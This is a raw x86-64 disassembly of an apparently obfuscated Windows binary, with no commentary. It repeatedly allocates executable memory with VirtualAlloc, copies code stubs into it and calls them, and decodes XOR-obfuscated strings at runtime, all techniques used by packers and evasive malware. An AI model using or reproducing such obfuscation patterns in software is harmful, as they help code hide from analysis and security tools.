mov rax, qword [r15 + rcx*8 + 0x125b250]
test rax, rax
jne 0x1400779b0
jmp 0x1400779d9
mov r8, qword [r15 + rdx*8 + 0x12595b0]
test r8, r8
jne 0x140077abf
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140077a00
mov r8, r14
jmp 0x140077a9e
mov rax, rbx
mov rcx, r8
mov rdx, r12
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140077a10
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14125a240]
mov qword [r15 + rax*8 + 0x125b250], rbx
mov qword [r15 + rax*8 + 0x12595b0], r8
inc rax
mov qword [0x14125a240], rax
lea rcx, [fcn.14000a520]
call r8
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x18], xmm0
lea rax, [rbp + 0x3528]
movabs rcx, 0xff00ff00ff00ff07
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rax
mov qword [rbp + 0x18], rdi
mov qword [rax], r14
mov ecx, r14d
mov rax, qword [0x14125b250]
test rax, rax
je 0x140077b2c
mov rdx, r14
cmp rax, rbx
je 0x140077b1b
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x125b250]
test rax, rax
jne 0x140077b03
jmp 0x140077b2c
mov r8, qword [r15 + rdx*8 + 0x12595b0]
test r8, r8
jne 0x140077c0f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140077b53
mov r8, r14
jmp 0x140077bee
mov rax, rbx
mov rcx, r8
mov rdx, r12
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140077b60
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14125a240]
mov qword [r15 + rax*8 + 0x125b250], rbx
mov qword [r15 + rax*8 + 0x12595b0], r8
inc rax
mov qword [0x14125a240], rax
lea rcx, [fcn.140060320]
call r8
nop
movabs rax, 0xff00ff00ff00ff07
xor rdi, rax
lea rax, [rbp + 0x3528]
mov qword [rax], rdi
lea rcx, [0x141254790]
call fcn.1400aa2c0
movabs rcx, 0xff00ff00ff00ff07
test al, al
je 0x140077f27
xorps xmm0, xmm0
movups xmmword [rbp + 0x18], xmm0
lea rax, [rbp + 0x3528]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rax
mov rbx, qword [rax]
xor rbx, rcx
mov qword [rbp + 0x18], rbx
mov qword [rax], r14
mov ecx, r14d
mov rax, qword [0x14125b250]
test rax, rax
je 0x140077cb9
mov rdx, r14
lea rdi, [0x14007fe80]
nop dword [rax + rax]
cmp rax, rdi
je 0x140077ca8
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x125b250]
test rax, rax
jne 0x140077c90
jmp 0x140077cb9
mov rdi, qword [r15 + rdx*8 + 0x12595b0]
test rdi, rdi
jne 0x140077da6
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
jne 0x140077ce0
mov rdi, r14
jmp 0x140077d7e
lea rax, [0x14007fe80]
mov rcx, rdi
mov rdx, r12
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140077cf0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14125a240]
lea rcx, [0x14007fe80]
mov qword [r15 + rax*8 + 0x125b250], rcx
mov qword [r15 + rax*8 + 0x12595b0], rdi
inc rax
mov qword [0x14125a240], rax
lea rcx, [fcn.14000a520]
call rdi
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x18], xmm0
lea rax, [rbp + 0x3528]
movabs rcx, 0xff00ff00ff00ff07
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rax
mov qword [rbp + 0x18], rbx
mov qword [rax], r14
mov ecx, r14d
mov rax, qword [0x14125b250]
test rax, rax
je 0x140077e19
mov rdx, r14
lea rdi, [0x14007fe80]
cmp rax, rdi
je 0x140077e08
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x125b250]
test rax, rax
jne 0x140077df0
jmp 0x140077e19
mov rdi, qword [r15 + rdx*8 + 0x12595b0]
test rdi, rdi
jne 0x140077f06
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
jne 0x140077e40
mov rdi, r14
jmp 0x140077ede
lea rax, [0x14007fe80]
mov rcx, rdi
mov rdx, r12
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140077e50
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14125a240]
lea rcx, [0x14007fe80]
mov qword [r15 + rax*8 + 0x125b250], rcx
mov qword [r15 + rax*8 + 0x12595b0], rdi
inc rax
mov qword [0x14125a240], rax
lea rcx, [fcn.140060320]
call rdi
nop
movabs rcx, 0xff00ff00ff00ff07
xor rbx, rcx
lea rax, [rbp + 0x3528]
mov qword [rax], rbx
mov dword [rsp + 0x40], 0x7d0
xorps xmm0, xmm0
movups xmmword [rbp + 0x18], xmm0
lea rax, [rbp + 0x3528]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rax
mov rbx, qword [rax]
xor rbx, rcx
mov qword [rbp + 0x18], rbx
mov qword [rax], r14
mov ecx, r14d
lea rdi, [0x14007fe50]
mov rax, qword [0x14125ac00]
test rax, rax
je 0x140077f99
mov rdx, r14
nop dword [rax + rax]
cmp rax, rdi
je 0x140077f88
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x125ac00]
test rax, rax
jne 0x140077f70
jmp 0x140077f99
mov rdi, qword [r15 + rdx*8 + 0x125a270]
test rdi, rdi
jne 0x14007807f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
lea r8, [0x14007fe50]
test rax, rax
jne 0x140077fc7
mov rdi, r14
jmp 0x14007805e
mov rax, r8
mov rcx, rdi
mov rdx, r12
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140077fd0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14125a250]
mov qword [r15 + rax*8 + 0x125ac00], r8
mov qword [r15 + rax*8 + 0x125a270], rdi
inc rax
mov qword [0x14125a250], rax
lea rdx, [rsp + 0x40]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call rdi
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x18], xmm0
lea rax, [rbp + 0x3528]
movabs rcx, 0xff00ff00ff00ff07
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rax
mov qword [rbp + 0x18], rbx
mov qword [rax], r14
mov ecx, r14d
mov rax, qword [0x14125b250]
test rax, rax
je 0x1400780f9
mov rdx, r14
lea rdi, [0x14007fe80]
nop
cmp rax, rdi
je 0x1400780e8
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x125b250]
test rax, rax
jne 0x1400780d0
jmp 0x1400780f9
mov rdi, qword [r15 + rdx*8 + 0x12595b0]
test rdi, rdi
jne 0x1400781e6
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
jne 0x140078120
mov rdi, r14
jmp 0x1400781be
lea rax, [0x14007fe80]
mov rcx, rdi
mov rdx, r12
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140078130
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14125a240]
lea rcx, [0x14007fe80]
mov qword [r15 + rax*8 + 0x125b250], rcx
mov qword [r15 + rax*8 + 0x12595b0], rdi
inc rax
mov qword [0x14125a240], rax
lea rcx, [fcn.140065050]
call rdi
nop
movabs rax, 0xff00ff00ff00ff07
xor rbx, rax
lea rax, [rbp + 0x3528]
mov qword [rax], rbx
movups xmm0, xmmword [0x14019d330]
movups xmmword [rsp + 0x50], xmm0
movsd xmm0, qword [0x14019d340]
movsd qword [rsp + 0x60], xmm0
mov eax, dword [0x14019d348]
mov dword [rsp + 0x68], eax
cmp byte [0x14019d34b], 0
je 0x1400783bd
mov edi, r14d
cmp r13d, 2
jl 0x140078380
movdqa xmm5, xmmword [0x14019edd0]
movdqa xmm4, xmmword [0x14019ef40]
movdqa xmm6, xmmword [0x14019ee10]
movdqa xmm0, xmmword [0x14019eea0]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x54]
mov edx, dword [rsp + 0x30]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14019ee80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14019ee80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edi, 8
lea rcx, [rcx + 8]
cmp edi, 0x18
jl 0x140078280
cmp edi, 0x1c
jge 0x1400783bd
movsxd rax, edi
lea r8, [rsp + 0x50]
add r8, rax
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, dil
sub al, cl
add al, 0x38
xor byte [r8], al
inc edi
lea r8, [r8 + 1]
cmp edi, 0x1c
jl 0x140078390
lea rax, [rsp + 0x50]
mov rdi, rsi
inc rdi
cmp byte [rax + rdi], 0
jne 0x1400783c5
call fcn.140118ed8
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x38], rdi
lea r8, [rsp + 0x30]
mov edx, eax
lea rcx, [rbp - 0x38]
call fcn.140042000
nop
lea rcx, [rbp - 0x38]
call fcn.140042960
movzx edi, al
mov rdx, qword [rbp - 0x20]
cmp rdx, 7
jbe 0x140078442
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007843d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14007843d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140117e70
test dil, dil
je 0x140079eca
lea rax, [rbp - 0x58]
mov qword [rsp + 0x48], rax
movsd xmm0, qword [str.MJ_IRSZ_]
movsd qword [rbp + 0x38], xmm0
movzx eax, byte [0x14019dfb0]
mov byte [rbp + 0x38], 0x75
xor byte [rbp + 0x39], 0x39
xor byte [rbp + 0x3a], 0x3a
xor byte [rbp + 0x3b], 0x3b
xor byte [rbp + 0x3c], 0x3c
xor byte [rbp + 0x3d], 0x3d
xor byte [rbp + 0x3e], 0x3e
xor byte [rbp + 0x3f], 0x3f
xor al, 0x40
mov byte [rbp + 0x40], al
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x48], r14
mov qword [rbp - 0x40], r14
lea rax, [rbp + 0x38]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x1400784a3
lea rdx, [rbp + 0x38]
lea rcx, [rbp - 0x58]
call fcn.1400808e0
nop
movups xmm0, xmmword [0x14019d330]
movups xmmword [rsp + 0x50], xmm0
movsd xmm0, qword [0x14019d340]
movsd qword [rsp + 0x60], xmm0
mov eax, dword [0x14019d348]
mov dword [rsp + 0x68], eax
cmp byte [0x14019d34b], 0
je 0x14007866d
mov edi, r14d
cmp r13d, 2
jl 0x140078630
movdqa xmm5, xmmword [0x14019edd0]
movdqa xmm4, xmmword [0x14019ef40]
movdqa xmm6, xmmword [0x14019ee10]
movdqa xmm0, xmmword [0x14019eea0]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x54]
mov edx, dword [rsp + 0x30]
nop dword [rax + rax]
movd xmm2, edi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14019ee80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14019ee80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edi, 8
lea rcx, [rcx + 8]
cmp edi, 0x18
jl 0x140078530
cmp edi, 0x1c
jge 0x14007866d
movsxd rax, edi
lea r8, [rsp + 0x50]
add r8, rax
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, dil
sub al, cl
add al, 0x38
xor byte [r8], al
inc edi
lea r8, [r8 + 1]
cmp edi, 0x1c
jl 0x140078640
xorps xmm0, xmm0
movups xmmword [rbp + 0x18], xmm0
mov qword [rbp + 0x28], r14
mov qword [rbp + 0x30], r14
lea rax, [rsp + 0x50]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140078684
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x18]
call fcn.1400808e0
nop
lea rdx, [rbp - 0x58]
lea rcx, [rbp + 0x18]
call fcn.140043bc0
test al, al
jne 0x140079eca
lea rax, [rbp - 0x58]
mov qword [rsp + 0x48], rax
mov rax, qword [str.TPYRN___]
mov qword [rbp + 0x38], rax
cmp byte [0x14019dd47], 0
je 0x14007880d
cmp r13d, 2
jl 0x1400787d5
movdqa xmm4, xmmword [0x14019ef40]
movdqa xmm2, xmmword [0x14019edd0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14019ee10]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14019ee80]
packuswb xmm2, xmm2
mov eax, dword [0x14019eea0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x38]
xorps xmm2, xmm1
movd dword [rbp + 0x38], xmm2
movdqa xmm3, xmmword [0x14019edf0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14019ee10]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14019ee80]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x3c]
xorps xmm2, xmm1
movd dword [rbp + 0x3c], xmm2
jmp 0x14007880d
lea r8, [rbp + 0x38]
mov edi, r14d
nop dword [rax]
mov eax, 0x4bda12f7
imul edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, dil
sub al, cl
add al, 0x38
xor byte [r8], al
inc edi
lea r8, [r8 + 1]
cmp edi, 8
jl 0x1400787e0
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x48], r14
mov qword [rbp - 0x40], r14
lea rax, [rbp + 0x38]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140078823
lea rdx, [rbp + 0x38]
lea rcx, [rbp - 0x58]
call fcn.1400808e0
nop
movups xmm0, xmmword [0x14019d330]
movups xmmword [rsp + 0x50], xmm0
movsd xmm0, qword [0x14019d340]
movsd qword [rsp + 0x60], xmm0
mov eax, dword [0x14019d348]
mov dword [rsp + 0x68], eax
cmp byte [0x14019d34b], 0
je 0x1400789ed
mov edi, r14d
cmp r13d, 2
jl 0x1400789b0
movdqa xmm5, xmmword [0x14019edd0]
movdqa xmm4, xmmword [0x14019ef40]
movdqa xmm6, xmmword [0x14019ee10]
movdqa xmm0, xmmword [0x14019eea0]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x54]
mov edx, dword [rsp + 0x30]
nop dword [rax + rax]
movd xmm2, edi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14019ee80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14019ee80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edi, 8
lea rcx, [rcx + 8]
cmp edi, 0x18
jl 0x1400788b0
cmp edi, 0x1c
jge 0x1400789ed
movsxd rax, edi
lea r8, [rsp + 0x50]
add r8, rax
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, dil
sub al, cl
add al, 0x38
xor byte [r8], al
inc edi
lea r8, [r8 + 1]
cmp edi, 0x1c
jl 0x1400789c0
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
mov qword [rbp - 0x28], r14
mov qword [rbp - 0x20], r14
lea rax, [rsp + 0x50]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140078a04
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x38]
call fcn.1400808e0
nop
lea r8, [rbp - 0x58]
lea rdx, [rbp - 0x38]
lea rcx, [rbp + 0x60]
call fcn.140043610
nop
lea rdx, [rbp + 0x60]
lea rcx, [rsp + 0x50]
call fcn.14007c480
mov rdx, rax
lea rcx, [0x141254790]
call fcn.1400bbf60
cmp byte [0x1412549a0], 0
